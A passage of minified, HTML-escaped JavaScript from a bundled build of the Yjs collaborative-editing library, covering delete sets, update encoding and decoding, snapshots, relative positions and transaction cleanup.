s=t.doc.store.clients.get(o);if(s!=null){let i=s[s.length-1],c=i.id.clock+i.length;for(let a=0,u=n[a];a&lt;n.length&amp;&amp;u.clock&lt;c;u=n[++a])Dl(t,s,u.clock,u.len,r)}}),Zp=(t,e)=&gt;{let r=0,n=t.length-1;for(;r&lt;=n;){let o=fe((r+n)/2),s=t[o],i=s.clock;if(i&lt;=e){if(e&lt;i+s.len)return o;r=o+1}else n=o-1}return null},Ht=(t,e)=&gt;{let r=t.clients.get(e.client);return r!==void 0&amp;&amp;Zp(r,e.clock)!==null},ai=t=&gt;{t.clients.forEach(e=&gt;{e.sort((o,s)=&gt;o.clock-s.clock);let r,n;for(r=1,n=1;r&lt;e.length;r++){let o=e[n-1],s=e[r];o.clock+o.len&gt;=s.clock?o.len=Ge(o.len,s.clock+s.len-o.clock):(n&lt;r&amp;&amp;(e[n]=s),n++)}e.length=n})},Mt=t=&gt;{let e=new ut;for(let r=0;r&lt;t.length;r++)t[r].clients.forEach((n,o)=&gt;{if(!e.clients.has(o)){let s=n.slice();for(let i=r+1;i&lt;t.length;i++)Sa(s,t[i].clients.get(o)||[]);e.clients.set(o,s)}});return ai(e),e},cn=(t,e,r,n)=&gt;{K(t.clients,e,()=&gt;[]).push(new sn(r,n))},yo=()=&gt;new ut,li=t=&gt;{let e=yo();return t.clients.forEach((r,n)=&gt;{let o=[];for(let s=0;s&lt;r.length;s++){let i=r[s];if(i.deleted){let c=i.id.clock,a=i.length;if(s+1&lt;r.length)for(let u=r[s+1];s+1&lt;r.length&amp;&amp;u.deleted;u=r[++s+1])a+=u.length;o.push(new sn(c,a))}}o.length&gt;0&amp;&amp;e.clients.set(n,o)}),e},Pe=(t,e)=&gt;{v(t.restEncoder,e.clients.size),ve(e.clients.entries()).sort((r,n)=&gt;n[0]-r[0]).forEach(([r,n])=&gt;{t.resetDsCurVal(),v(t.restEncoder,r);let o=n.length;v(t.restEncoder,o);for(let s=0;s&lt;o;s++){let i=n[s];t.writeDsClock(i.clock),t.writeDsLen(i.len)}})},ze=t=&gt;{let e=new ut,r=T(t.restDecoder);for(let n=0;n&lt;r;n++){t.resetDsCurVal();let o=T(t.restDecoder),s=T(t.restDecoder);if(s&gt;0){let i=K(e.clients,o,()=&gt;[]);for(let c=0;c&lt;s;c++)i.push(new sn(t.readDsClock(),t.readDsLen()))}}return e},al=(t,e,r)=&gt;{let n=new ut,o=T(t.restDecoder);for(let s=0;s&lt;o;s++){t.resetDsCurVal();let i=T(t.restDecoder),c=T(t.restDecoder),a=r.clients.get(i)||[],u=L(r,i);for(let l=0;l&lt;c;l++){let d=t.readDsClock(),f=d+t.readDsLen();if(d&lt;u){u&lt;f&amp;&amp;cn(n,i,u,f-u);let h=Ee(a,d),p=a[h];for(!p.deleted&amp;&amp;p.id.clock&lt;d&amp;&amp;(a.splice(h+1,0,mo(e,p,d-p.id.clock)),h++);h&lt;a.length&amp;&amp;(p=a[h++],p.id.clock&lt;f);)p.deleted||(f&lt;p.id.clock+p.length&amp;&amp;a.splice(h,0,mo(e,p,f-p.id.clock)),p.delete(e))}else cn(n,i,d,f-d)}}if(n.clients.size&gt;0){let s=new ge;return v(s.restEncoder,0),Pe(s,n),s.toUint8Array()}return null},vl=(t,e)=&gt;{if(t.clients.size!==e.clients.size)return!1;for(let[r,n]of t.clients.entries()){let o=e.clients.get(r);if(o===void 0||n.length!==o.length)return!1;for(let s=0;s&lt;n.length;s++){let i=n[s],c=o[s];if(i.clock!==c.clock||i.len!==c.len)return!1}}return!0},Cl=ks,Me=class t extends rt{constructor({guid:e=Na(),collectionid:r=null,gc:n=!0,gcFilter:o=()=&gt;!0,meta:s=null,autoLoad:i=!1,shouldLoad:c=!0}={}){super(),this.gc=n,this.gcFilter=o,this.clientID=Cl(),this.guid=e,this.collectionid=r,this.share=new Map,this.store=new io,this._transaction=null,this._transactionCleanups=[],this.subdocs=new Set,this._item=null,this.shouldLoad=c,this.autoLoad=i,this.meta=s,this.isLoaded=!1,this.isSynced=!1,this.isDestroyed=!1,this.whenLoaded=Us(u=&gt;{this.on(&quot;load&quot;,()=&gt;{this.isLoaded=!0,u(this)})});let a=()=&gt;Us(u=&gt;{let l=d=&gt;{(d===void 0||d===!0)&amp;&amp;(this.off(&quot;sync&quot;,l),u())};this.on(&quot;sync&quot;,l)});this.on(&quot;sync&quot;,u=&gt;{u===!1&amp;&amp;this.isSynced&amp;&amp;(this.whenSynced=a()),this.isSynced=u===void 0||u===!0,this.isSynced&amp;&amp;!this.isLoaded&amp;&amp;this.emit(&quot;load&quot;,[this])}),this.whenSynced=a()}load(){let e=this._item;e!==null&amp;&amp;!this.shouldLoad&amp;&amp;D(e.parent.doc,r=&gt;{r.subdocsLoaded.add(this)},null,!0),this.shouldLoad=!0}getSubdocs(){return this.subdocs}getSubdocGuids(){return new Set(ve(this.subdocs).map(e=&gt;e.guid))}transact(e,r=null){return D(this,e,r)}get(e,r=F){let n=K(this.share,e,()=&gt;{let s=new r;return s._integrate(this,null),s}),o=n.constructor;if(r!==F&amp;&amp;o!==r)if(o===F){let s=new r;s._map=n._map,n._map.forEach(i=&gt;{for(;i!==null;i=i.left)i.parent=s}),s._start=n._start;for(let i=s._start;i!==null;i=i.right)i.parent=s;return s._length=n._length,this.share.set(e,s),s._integrate(this,null),s}else throw new Error(`Type with the name ${e} has already been defined with a different constructor`);return n}getArray(e=&quot;&quot;){return this.get(e,Ft)}getText(e=&quot;&quot;){return this.get(e,Sr)}getMap(e=&quot;&quot;){return this.get(e,Yt)}getXmlElement(e=&quot;&quot;){return this.get(e,$t)}getXmlFragment(e=&quot;&quot;){return this.get(e,Gt)}toJSON(){let e={};return this.share.forEach((r,n)=&gt;{e[n]=r.toJSON()}),e}destroy(){this.isDestroyed=!0,ve(this.subdocs).forEach(r=&gt;r.destroy());let e=this._item;if(e!==null){this._item=null;let r=e.content;r.doc=new t({guid:this.guid,...r.opts,shouldLoad:!1}),r.doc._item=e,D(e.parent.doc,n=&gt;{let o=r.doc;e.deleted||n.subdocsAdded.add(o),n.subdocsRemoved.add(this)},null,!0)}this.emit(&quot;destroyed&quot;,[!0]),this.emit(&quot;destroy&quot;,[this]),super.destroy()}},Nt=class{constructor(e){this.restDecoder=e}resetDsCurVal(){}readDsClock(){return T(this.restDecoder)}readDsLen(){return T(this.restDecoder)}},he=class extends Nt{readLeftID(){return R(T(this.restDecoder),T(this.restDecoder))}readRightID(){return R(T(this.restDecoder),T(this.restDecoder))}readClient(){return T(this.restDecoder)}readInfo(){return Dt(this.restDecoder)}readString(){return st(this.restDecoder)}readParentInfo(){return T(this.restDecoder)===1}readTypeRef(){return T(this.restDecoder)}readLen(){return T(this.restDecoder)}readAny(){return gr(this.restDecoder)}readBuf(){return Xa(Q(this.restDecoder))}readJSON(){return JSON.parse(st(this.restDecoder))}readKey(){return st(this.restDecoder)}},oo=class{constructor(e){this.dsCurrVal=0,this.restDecoder=e}resetDsCurVal(){this.dsCurrVal=0}readDsClock(){return this.dsCurrVal+=T(this.restDecoder),this.dsCurrVal}readDsLen(){let e=T(this.restDecoder)+1;return this.dsCurrVal+=e,e}},ae=class extends oo{constructor(e){super(e),this.keys=[],T(e),this.keyClockDecoder=new mr(Q(e)),this.clientDecoder=new kt(Q(e)),this.leftClockDecoder=new mr(Q(e)),this.rightClockDecoder=new mr(Q(e)),this.infoDecoder=new Jr(Q(e),Dt),this.stringDecoder=new Wn(Q(e)),this.parentInfoDecoder=new Jr(Q(e),Dt),this.typeRefDecoder=new kt(Q(e)),this.lenDecoder=new kt(Q(e))}readLeftID(){return new $e(this.clientDecoder.read(),this.leftClockDecoder.read())}readRightID(){return new $e(this.clientDecoder.read(),this.rightClockDecoder.read())}readClient(){return this.clientDecoder.read()}readInfo(){return this.infoDecoder.read()}readString(){return this.stringDecoder.read()}readParentInfo(){return this.parentInfoDecoder.read()===1}readTypeRef(){return this.typeRefDecoder.read()}readLen(){return this.lenDecoder.read()}readAny(){return gr(this.restDecoder)}readBuf(){return Q(this.restDecoder)}readJSON(){return gr(this.restDecoder)}readKey(){let e=this.keyClockDecoder.read();if(e&lt;this.keys.length)return this.keys[e];{let r=this.stringDecoder.read();return this.keys.push(r),r}}},dt=class{constructor(){this.restEncoder=Ce()}toUint8Array(){return re(this.restEncoder)}resetDsCurVal(){}writeDsClock(e){v(this.restEncoder,e)}writeDsLen(e){v(this.restEncoder,e)}},Ne=class extends dt{writeLeftID(e){v(this.restEncoder,e.client),v(this.restEncoder,e.clock)}writeRightID(e){v(this.restEncoder,e.client),v(this.restEncoder,e.clock)}writeClient(e){v(this.restEncoder,e)}writeInfo(e){fr(this.restEncoder,e)}writeString(e){nt(this.restEncoder,e)}writeParentInfo(e){v(this.restEncoder,e?1:0)}writeTypeRef(e){v(this.restEncoder,e)}writeLen(e){v(this.restEncoder,e)}writeAny(e){ur(this.restEncoder,e)}writeBuf(e){J(this.restEncoder,e)}writeJSON(e){nt(this.restEncoder,JSON.stringify(e))}writeKey(e){nt(this.restEncoder,e)}},wr=class{constructor(){this.restEncoder=Ce(),this.dsCurrVal=0}toUint8Array(){return re(this.restEncoder)}resetDsCurVal(){this.dsCurrVal=0}writeDsClock(e){let r=e-this.dsCurrVal;this.dsCurrVal=e,v(this.restEncoder,r)}writeDsLen(e){e===0&amp;&amp;ce(),v(this.restEncoder,e-1),this.dsCurrVal+=e}},ge=class extends wr{constructor(){super(),this.keyMap=new Map,this.keyClock=0,this.keyClockEncoder=new dr,this.clientEncoder=new At,this.leftClockEncoder=new dr,this.rightClockEncoder=new dr,this.infoEncoder=new qr(fr),this.stringEncoder=new qn,this.parentInfoEncoder=new qr(fr),this.typeRefEncoder=new At,this.lenEncoder=new At}toUint8Array(){let e=Ce();return v(e,0),J(e,this.keyClockEncoder.toUint8Array()),J(e,this.clientEncoder.toUint8Array()),J(e,this.leftClockEncoder.toUint8Array()),J(e,this.rightClockEncoder.toUint8Array()),J(e,re(this.infoEncoder)),J(e,this.stringEncoder.toUint8Array()),J(e,re(this.parentInfoEncoder)),J(e,this.typeRefEncoder.toUint8Array()),J(e,this.lenEncoder.toUint8Array()),hr(e,re(this.restEncoder)),re(e)}writeLeftID(e){this.clientEncoder.write(e.client),this.leftClockEncoder.write(e.clock)}writeRightID(e){this.clientEncoder.write(e.client),this.rightClockEncoder.write(e.clock)}writeClient(e){this.clientEncoder.write(e)}writeInfo(e){this.infoEncoder.write(e)}writeString(e){this.stringEncoder.write(e)}writeParentInfo(e){this.parentInfoEncoder.write(e?1:0)}writeTypeRef(e){this.typeRefEncoder.write(e)}writeLen(e){this.lenEncoder.write(e)}writeAny(e){ur(this.restEncoder,e)}writeBuf(e){J(this.restEncoder,e)}writeJSON(e){ur(this.restEncoder,e)}writeKey(e){let r=this.keyMap.get(e);r===void 0?(this.keyClockEncoder.write(this.keyClock++),this.stringEncoder.write(e)):this.keyClockEncoder.write(r)}},eg=(t,e,r,n)=&gt;{n=Ge(n,e[0].id.clock);let o=Ee(e,n);v(t.restEncoder,e.length-o),t.writeClient(r),v(t.restEncoder,n);let s=e[o];s.write(t,n-s.id.clock);for(let i=o+1;i&lt;e.length;i++)e[i].write(t,0)},ui=(t,e,r)=&gt;{let n=new Map;r.forEach((o,s)=&gt;{L(e,s)&gt;o&amp;&amp;n.set(s,o)}),mn(e).forEach((o,s)=&gt;{r.has(s)||n.set(s,0)}),v(t.restEncoder,n.size),ve(n.entries()).sort((o,s)=&gt;s[0]-o[0]).forEach(([o,s])=&gt;{eg(t,e.clients.get(o),o,s)})},tg=(t,e)=&gt;{let r=V(),n=T(t.restDecoder);for(let o=0;o&lt;n;o++){let s=T(t.restDecoder),i=new Array(s),c=t.readClient(),a=T(t.restDecoder);r.set(c,{i:0,refs:i});for(let u=0;u&lt;s;u++){let l=t.readInfo();switch(31&amp;l){case 0:{let d=t.readLen();i[u]=new oe(R(c,a),d),a+=d;break}case 10:{let d=T(t.restDecoder);i[u]=new X(R(c,a),d),a+=d;break}default:{let d=(l&amp;192)===0,f=new k(R(c,a),null,(l&amp;128)===128?t.readLeftID():null,null,(l&amp;64)===64?t.readRightID():null,d?t.readParentInfo()?e.get(t.readString()):t.readLeftID():null,d&amp;&amp;(l&amp;32)===32?t.readString():null,cu(t,l));i[u]=f,a+=f.length}}}}return r},rg=(t,e,r)=&gt;{let n=[],o=ve(r.keys()).sort((h,p)=&gt;h-p);if(o.length===0)return null;let s=()=&gt;{if(o.length===0)return null;let h=r.get(o[o.length-1]);for(;h.refs.length===h.i;)if(o.pop(),o.length&gt;0)h=r.get(o[o.length-1]);else return null;return h},i=s();if(i===null)return null;let c=new io,a=new Map,u=(h,p)=&gt;{let g=a.get(h);(g==null||g&gt;p)&amp;&amp;a.set(h,p)},l=i.refs[i.i++],d=new Map,f=()=&gt;{for(let h of n){let p=h.id.client,g=r.get(p);g?(g.i--,c.clients.set(p,g.refs.slice(g.i)),r.delete(p),g.i=0,g.refs=[]):c.clients.set(p,[h]),o=o.filter(m=&gt;m!==p)}n.length=0};for(;;){if(l.constructor!==X){let p=K(d,l.id.client,()=&gt;L(e,l.id.client))-l.id.clock;if(p&lt;0)n.push(l),u(l.id.client,l.id.clock-1),f();else{let g=l.getMissing(t,e);if(g!==null){n.push(l);let m=r.get(g)||{refs:[],i:0};if(m.refs.length===m.i)u(g,L(e,g)),f();else{l=m.refs[m.i++];continue}}else(p===0||p&lt;l.length)&amp;&amp;(l.integrate(t,p),d.set(l.id.client,l.id.clock+l.length))}}if(n.length&gt;0)l=n.pop();else if(i!==null&amp;&amp;i.i&lt;i.refs.length)l=i.refs[i.i++];else{if(i=s(),i===null)break;l=i.refs[i.i++]}}if(c.clients.size&gt;0){let h=new ge;return ui(h,c,new Map),v(h.restEncoder,0),{missing:a,update:h.toUint8Array()}}return null},ng=(t,e)=&gt;ui(t,e.doc.store,e.beforeState),di=(t,e,r,n=new ae(t))=&gt;D(e,o=&gt;{o.local=!1;let s=!1,i=o.doc,c=i.store,a=tg(n,i),u=rg(o,c,a),l=c.pendingStructs;if(l){for(let[f,h]of l.missing)if(h&lt;L(c,f)){s=!0;break}if(u){for(let[f,h]of u.missing){let p=l.missing.get(f);(p==null||p&gt;h)&amp;&amp;l.missing.set(f,h)}l.update=Bt([l.update,u.update])}}else c.pendingStructs=u;let d=al(n,o,c);if(c.pendingDs){let f=new ae(G(c.pendingDs));T(f.restDecoder);let h=al(f,o,c);d&amp;&amp;h?c.pendingDs=Bt([d,h]):c.pendingDs=d||h}else c.pendingDs=d;if(s){let f=c.pendingStructs.update;c.pendingStructs=null,Be(o.doc,f)}},r,!1),og=(t,e,r)=&gt;di(t,e,r,new he(t)),Be=(t,e,r,n=ae)=&gt;{let o=G(e);di(o,t,r,new n(o))},fi=(t,e,r)=&gt;Be(t,e,r,he),sg=(t,e,r=new Map)=&gt;{ui(t,e.store,r),Pe(t,li(e.store))},ht=(t,e=new Uint8Array([0]),r=new ge)=&gt;{let n=pi(e);sg(r,t,n);let o=[r.toUint8Array()];if(t.store.pendingDs&amp;&amp;o.push(t.store.pendingDs),t.store.pendingStructs&amp;&amp;o.push(wi(t.store.pendingStructs.update,e)),o.length&gt;1){if(r.constructor===Ne)return Ml(o.map((s,i)=&gt;i===0?s:Fl(s)));if(r.constructor===ge)return Bt(o)}return o[0]},hi=(t,e)=&gt;ht(t,e,new Ne),Rl=t=&gt;{let e=new Map,r=T(t.restDecoder);for(let n=0;n&lt;r;n++){let o=T(t.restDecoder),s=T(t.restDecoder);e.set(o,s)}return e},pi=t=&gt;Rl(new Nt(G(t))),gi=(t,e)=&gt;(v(t.restEncoder,e.size),ve(e.entries()).sort((r,n)=&gt;n[0]-r[0]).forEach(([r,n])=&gt;{v(t.restEncoder,r),v(t.restEncoder,n)}),t),ig=(t,e)=&gt;gi(t,mn(e.store)),cg=(t,e=new wr)=&gt;(t instanceof Map?gi(e,t):ig(e,t),e.toUint8Array()),mi=t=&gt;cg(t,new dt),Zs=class{constructor(){this.l=[]}},ll=()=&gt;new Zs,ul=(t,e)=&gt;t.l.push(e),dl=(t,e)=&gt;{let r=t.l,n=r.length;t.l=r.filter(o=&gt;e!==o),n===t.l.length&amp;&amp;console.error(&quot;[yjs] Tried to remove event handler that doesn&#039;t exist.&quot;)},Tl=(t,e,r)=&gt;Zr(t.l,[e,r]),$e=class{constructor(e,r){this.client=e,this.clock=r}},Ut=(t,e)=&gt;t===e||t!==null&amp;&amp;e!==null&amp;&amp;t.client===e.client&amp;&amp;t.clock===e.clock,R=(t,e)=&gt;new $e(t,e),fl=(t,e)=&gt;{v(t,e.client),v(t,e.clock)},hl=t=&gt;R(T(t),T(t)),yi=t=&gt;{for(let[e,r]of t.doc.share.entries())if(r===t)return e;throw ce()},an=(t,e)=&gt;{for(;e!==null;){if(e.parent===t)return!0;e=e.parent._item}return!1},ag=t=&gt;{let e=[],r=t._start;for(;r;)e.push(r),r=r.right;console.log(&quot;Children: &quot;,e),console.log(&quot;Children content: &quot;,e.filter(n=&gt;!n.deleted).map(n=&gt;n.content))},ei=class{constructor(e,r=e.getMap(&quot;users&quot;)){let n=new Map;this.yusers=r,this.doc=e,this.clients=new Map,this.dss=n;let o=(s,i)=&gt;{let c=s.get(&quot;ds&quot;),a=s.get(&quot;ids&quot;),u=l=&gt;this.clients.set(l,i);c.observe(l=&gt;{l.changes.added.forEach(d=&gt;{d.content.getContent().forEach(f=&gt;{f instanceof Uint8Array&amp;&amp;this.dss.set(i,Mt([this.dss.get(i)||yo(),ze(new Nt(G(f)))]))})})}),this.dss.set(i,Mt(c.map(l=&gt;ze(new Nt(G(l)))))),a.observe(l=&gt;l.changes.added.forEach(d=&gt;d.content.getContent().forEach(u))),a.forEach(u)};r.observe(s=&gt;{s.keysChanged.forEach(i=&gt;o(r.get(i),i))}),r.forEach(o)}setUserMapping(e,r,n,{filter:o=()=&gt;!0}={}){let s=this.yusers,i=s.get(n);i||(i=new Yt,i.set(&quot;ids&quot;,new Ft),i.set(&quot;ds&quot;,new Ft),s.set(n,i)),i.get(&quot;ids&quot;).push([r]),s.observe(c=&gt;{setTimeout(()=&gt;{let a=s.get(n);if(a!==i){i=a,this.clients.forEach((d,f)=&gt;{n===d&amp;&amp;i.get(&quot;ids&quot;).push([f])});let u=new dt,l=this.dss.get(n);l&amp;&amp;(Pe(u,l),i.get(&quot;ds&quot;).push([u.toUint8Array()]))}},0)}),e.on(&quot;afterTransaction&quot;,c=&gt;{setTimeout(()=&gt;{let a=i.get(&quot;ds&quot;),u=c.deleteSet;if(c.local&amp;&amp;u.clients.size&gt;0&amp;&amp;o(c,u)){let l=new dt;Pe(l,u),a.push([l.toUint8Array()])}})})}getUserByClientId(e){return this.clients.get(e)||null}getUserByDeletedId(e){for(let[r,n]of this.dss.entries())if(Ht(n,e))return r;return null}},_r=class{constructor(e,r,n,o=0){this.type=e,this.tname=r,this.item=n,this.assoc=o}},lg=t=&gt;{let e={};return t.type&amp;&amp;(e.type=t.type),t.tname&amp;&amp;(e.tname=t.tname),t.item&amp;&amp;(e.item=t.item),t.assoc!=null&amp;&amp;(e.assoc=t.assoc),e},ug=t=&gt;new _r(t.type==null?null:R(t.type.client,t.type.clock),t.tname??null,t.item==null?null:R(t.item.client,t.item.clock),t.assoc==null?0:t.assoc),so=class{constructor(e,r,n=0){this.type=e,this.index=r,this.assoc=n}},dg=(t,e,r=0)=&gt;new so(t,e,r),Zn=(t,e,r)=&gt;{let n=null,o=null;return t._item===null?o=yi(t):n=R(t._item.id.client,t._item.id.clock),new _r(n,o,e,r)},fg=(t,e,r=0)=&gt;{let n=t._start;if(r&lt;0){if(e===0)return Zn(t,null,r);e--}for(;n!==null;){if(!n.deleted&amp;&amp;n.countable){if(n.length&gt;e)return Zn(t,R(n.id.client,n.id.clock+e),r);e-=n.length}if(n.right===null&amp;&amp;r&lt;0)return Zn(t,n.lastId,r);n=n.right}return Zn(t,null,r)},hg=(t,e)=&gt;{let{type:r,tname:n,item:o,assoc:s}=e;if(o!==null)v(t,0),fl(t,o);else if(n!==null)fr(t,1),nt(t,n);else if(r!==null)fr(t,2),fl(t,r);else throw ce();return Wr(t,s),t},pg=t=&gt;{let e=Ce();return hg(e,t),re(e)},gg=t=&gt;{let e=null,r=null,n=null;switch(T(t)){case 0:n=hl(t);break;case 1:r=st(t);break;case 2:e=hl(t)}let o=Is(t)?Qr(t):0;return new _r(e,r,n,o)},mg=t=&gt;gg(G(t)),yg=(t,e)=&gt;{let r=Lt(t,e),n=e.clock-r.id.clock;return{item:r,diff:n}},Eg=(t,e,r=!0)=&gt;{let n=e.store,o=t.item,s=t.type,i=t.tname,c=t.assoc,a=null,u=0;if(o!==null){if(L(n,o.client)&lt;=o.clock)return null;let l=r?ii(n,o):yg(n,o),d=l.item;if(!(d instanceof k))return null;if(a=d.parent,a._item===null||!a._item.deleted){u=d.deleted||!d.countable?0:l.diff+(c&gt;=0?0:1);let f=d.left;for(;f!==null;)!f.deleted&amp;&amp;f.countable&amp;&amp;(u+=f.length),f=f.left}}else{if(i!==null)a=e.get(i);else if(s!==null){if(L(n,s.client)&lt;=s.clock)return null;let{item:l}=r?ii(n,s):{item:Lt(n,s)};if(l instanceof k&amp;&amp;l.content instanceof we)a=l.content.type;else return null}else throw ce();c&gt;=0?u=a._length:u=0}return dg(a,u,t.assoc)},wg=(t,e)=&gt;t===e||t!==null&amp;&amp;e!==null&amp;&amp;t.tname===e.tname&amp;&amp;Ut(t.item,e.item)&amp;&amp;Ut(t.type,e.type)&amp;&amp;t.assoc===e.assoc,ln=class{constructor(e,r){this.ds=e,this.sv=r}},_g=(t,e)=&gt;{let r=t.ds.clients,n=e.ds.clients,o=t.sv,s=e.sv;if(o.size!==s.size||r.size!==n.size)return!1;for(let[i,c]of o.entries())if(s.get(i)!==c)return!1;for(let[i,c]of r.entries()){let a=n.get(i)||[];if(c.length!==a.length)return!1;for(let u=0;u&lt;c.length;u++){let l=c[u],d=a[u];if(l.clock!==d.clock||l.len!==d.len)return!1}}return!0},xl=(t,e=new wr)=&gt;(Pe(e,t.ds),gi(e,t.sv),e.toUint8Array()),Sg=t=&gt;xl(t,new dt),Il=(t,e=new oo(G(t)))=&gt;new ln(ze(e),Rl(e)),bg=t=&gt;Il(t,new Nt(G(t))),Ei=(t,e)=&gt;new ln(t,e),vg=Ei(yo(),new Map),Cg=t=&gt;Ei(li(t.store),mn(t.store)),ct=(t,e)=&gt;e===void 0?!t.deleted:e.sv.has(t.id.client)&amp;&amp;(e.sv.get(t.id.client)||0)&gt;t.id.clock&amp;&amp;!Ht(e.ds,t.id),ti=(t,e)=&gt;{let r=K(t.meta,ti,De),n=t.doc.store;r.has(e)||(e.sv.forEach((o,s)=&gt;{o&lt;L(n,s)&amp;&amp;ne(t,R(s,o))}),Pt(t,e.ds,o=&gt;{}),r.add(e))},Rg=(t,e,r=new Me)=&gt;{if(t.gc)throw new Error(&quot;Garbage-collection must be disabled in `originDoc`!&quot;);let{sv:n,ds:o}=e,s=new ge;return t.transact(i=&gt;{let c=0;n.forEach(a=&gt;{a&gt;0&amp;&amp;c++}),v(s.restEncoder,c);for(let[a,u]of n){if(u===0)continue;u&lt;L(t.store,a)&amp;&amp;ne(i,R(a,u));let l=t.store.clients.get(a)||[],d=Ee(l,u-1);v(s.restEncoder,d+1),s.writeClient(a),v(s.restEncoder,0);for(let f=0;f&lt;=d;f++)l[f].write(s,0)}Pe(s,o)}),Be(r,s.toUint8Array(),&quot;snapshot&quot;),r},Tg=(t,e,r=ae)=&gt;{let n=new r(G(e)),o=new Ve(n,!1);for(let i=o.curr;i!==null;i=o.next())if((t.sv.get(i.id.client)||0)&lt;i.id.clock+i.length)return!1;let s=Mt([t.ds,ze(n)]);return vl(t.ds,s)},xg=(t,e)=&gt;Tg(t,e,he),io=class{constructor(){this.clients=new Map,this.pendingStructs=null,this.pendingDs=null}},mn=t=&gt;{let e=new Map;return t.clients.forEach((r,n)=&gt;{let o=r[r.length-1];e.set(n,o.id.clock+o.length)}),e},L=(t,e)=&gt;{let r=t.clients.get(e);if(r===void 0)return 0;let n=r[r.length-1];return n.id.clock+n.length},Al=(t,e)=&gt;{let r=t.clients.get(e.id.client);if(r===void 0)r=[],t.clients.set(e.id.client,r);else{let n=r[r.length-1];if(n.id.clock+n.length!==e.id.clock)throw ce()}r.push(e)},Ee=(t,e)=&gt;{let r=0,n=t.length-1,o=t[n],s=o.id.clock;if(s===e)return n;let i=fe(e/(s+o.length-1)*n);for(;r&lt;=n;){if(o=t[i],s=o.id.clock,s&lt;=e){if(e&lt;s+o.length)return i;r=i+1}else n=i-1;i=fe((r+n)/2)}throw ce()},Ig=(t,e)=&gt;{let r=t.clients.get(e.client);return r[Ee(r,e.clock)]},Lt=Ig,ri=(t,e,r)=&gt;{let n=Ee(e,r),o=e[n];return o.id.clock&lt;r&amp;&amp;o instanceof k?(e.splice(n+1,0,mo(t,o,r-o.id.clock)),n+1):n},ne=(t,e)=&gt;{let r=t.doc.store.clients.get(e.client);return r[ri(t,r,e.clock)]},ni=(t,e,r)=&gt;{let n=e.clients.get(r.client),o=Ee(n,r.clock),s=n[o];return r.clock!==s.id.clock+s.length-1&amp;&amp;s.constructor!==oe&amp;&amp;n.splice(o+1,0,mo(t,s,r.clock-s.id.clock+1)),s},Ag=(t,e,r)=&gt;{let n=t.clients.get(e.id.client);n[Ee(n,e.id.clock)]=r},Dl=(t,e,r,n,o)=&gt;{if(n===0)return;let s=r+n,i=ri(t,e,r),c;do c=e[i++],s&lt;c.id.clock+c.length&amp;&amp;ri(t,e,s),o(c);while(i&lt;e.length&amp;&amp;e[i].id.clock&lt;s)},co=class{constructor(e,r,n){this.doc=e,this.deleteSet=new ut,this.beforeState=mn(e.store),this.afterState=new Map,this.changed=new Map,this.changedParentTypes=new Map,this._mergeStructs=[],this.origin=r,this.meta=new Map,this.local=n,this.subdocsAdded=new Set,this.subdocsRemoved=new Set,this.subdocsLoaded=new Set,this._needFormattingCleanup=!1}},pl=(t,e)=&gt;e.deleteSet.clients.size===0&amp;&amp;!_a(e.afterState,(r,n)=&gt;e.beforeState.get(n)!==r)?!1:(ai(e.deleteSet),ng(t,e),Pe(t,e.deleteSet),!0),gl=(t,e,r)=&gt;{let n=e._item;(n===null||n.id.clock&lt;(t.beforeState.get(n.id.client)||0)&amp;&amp;!n.deleted)&amp;&amp;K(t.changed,e,De).add(r)},ro=(t,e)=&gt;{let r=t[e],n=t[e-1],o=e;for(;o&gt;0;r=n,n=t[--o-1]){if(n.deleted===r.deleted&amp;&amp;n.constructor===r.constructor&amp;&amp;n.mergeWith(r)){r instanceof k&amp;&amp;r.parentSub!==null&amp;&amp;r.parent._map.get(r.parentSub)===r&amp;&amp;r.parent._map.set(r.parentSub,n);continue}break}let s=e-o;return s&amp;&amp;t.splice(e+1-s,s),s},kl=(t,e,r)=&gt;{for(let[n,o]of t.clients.entries()){let s=e.clients.get(n);for(let i=o.length-1;i&gt;=0;i--){let c=o[i],a=c.clock+c.len;for(let u=Ee(s,c.clock),l=s[u];u&lt;s.length&amp;&amp;l.id.clock&lt;a;l=s[++u]){let d=s[u];if(c.clock+c.len&lt;=d.id.clock)break;d instanceof k&amp;&amp;d.deleted&amp;&amp;!d.keep&amp;&amp;r(d)&amp;&amp;d.gc(e,!1)}}}},Ol=(t,e)=&gt;{t.clients.forEach((r,n)=&gt;{let o=e.clients.get(n);for(let s=r.length-1;s&gt;=0;s--){let i=r[s],c=Kn(o.length-1,1+Ee(o,i.clock+i.len-1));for(let a=c,u=o[a];a&gt;0&amp;&amp;u.id.clock&gt;=i.clock;u=o[a])a-=1+ro(o,a)}})},Dg=(t,e,r)=&gt;{kl(t,e,r),Ol(t,e)},Ul=(t,e)=&gt;{if(e&lt;t.length){let r=t[e],n=r.doc,o=n.store,s=r.deleteSet,i=r._mergeStructs;try{ai(s),r.afterState=mn(r.doc.store),n.emit(&quot;beforeObserverCalls&quot;,[r,n]);let c=[];r.changed.forEach((a,u)=&gt;c.push(()=&gt;{(u._item===null||!u._item.deleted)&amp;&amp;u._callObserver(r,a)})),c.push(()=&gt;{r.changedParentTypes.forEach((a,u)=&gt;{u._dEH.l.length&gt;0&amp;&amp;(u._item===null||!u._item.deleted)&amp;&amp;(a=a.filter(l=&gt;l.target._item===null||!l.target._item.deleted),a.forEach(l=&gt;{l.currentTarget=u,l._path=null}),a.sort((l,d)=&gt;l.path.length-d.path.length),c.push(()=&gt;{Tl(u._dEH,a,r)}))}),c.push(()=&gt;n.emit(&quot;afterTransaction&quot;,[r,n])),c.push(()=&gt;{r._needFormattingCleanup&amp;&amp;Xg(r)})}),Zr(c,[])}finally{n.gc&amp;&amp;kl(s,o,n.gcFilter),Ol(s,o),r.afterState.forEach((l,d)=&gt;{let f=r.beforeState.get(d)||0;if(f!==l){let h=o.clients.get(d),p=Ge(Ee(h,f),1);for(let g=h.length-1;g&gt;=p;)g-=1+ro(h,g)}});for(let l=i.length-1;l&gt;=0;l--){let{client:d,clock:f}=i[l].id,h=o.clients.get(d),p=Ee(h,f);p+1&lt;h.length&amp;&amp;ro(h,p+1)&gt;1||p&gt;0&amp;&amp;ro(h,p)}if(!r.local&amp;&amp;r.afterState.get(n.clientID)!==r.beforeState.get(n.clientID)&amp;&amp;(Qn(Er,tn,&quot;[yjs] &quot;,rn,nn,&quot;Changed the client-id because another client seems to be using it.&quot;),n.clientID=Cl()),n.emit(&quot;afterTransactionCleanup&quot;,[r,n]),n._observers.has(&quot;update&quot;)){let l=new Ne;pl(l,r)&amp;&amp;n.emit(&quot;update&quot;,[l.toUint8Array(),r.origin,n,r])}if(n._observers.has(&quot;updateV2&quot;)){let l=new 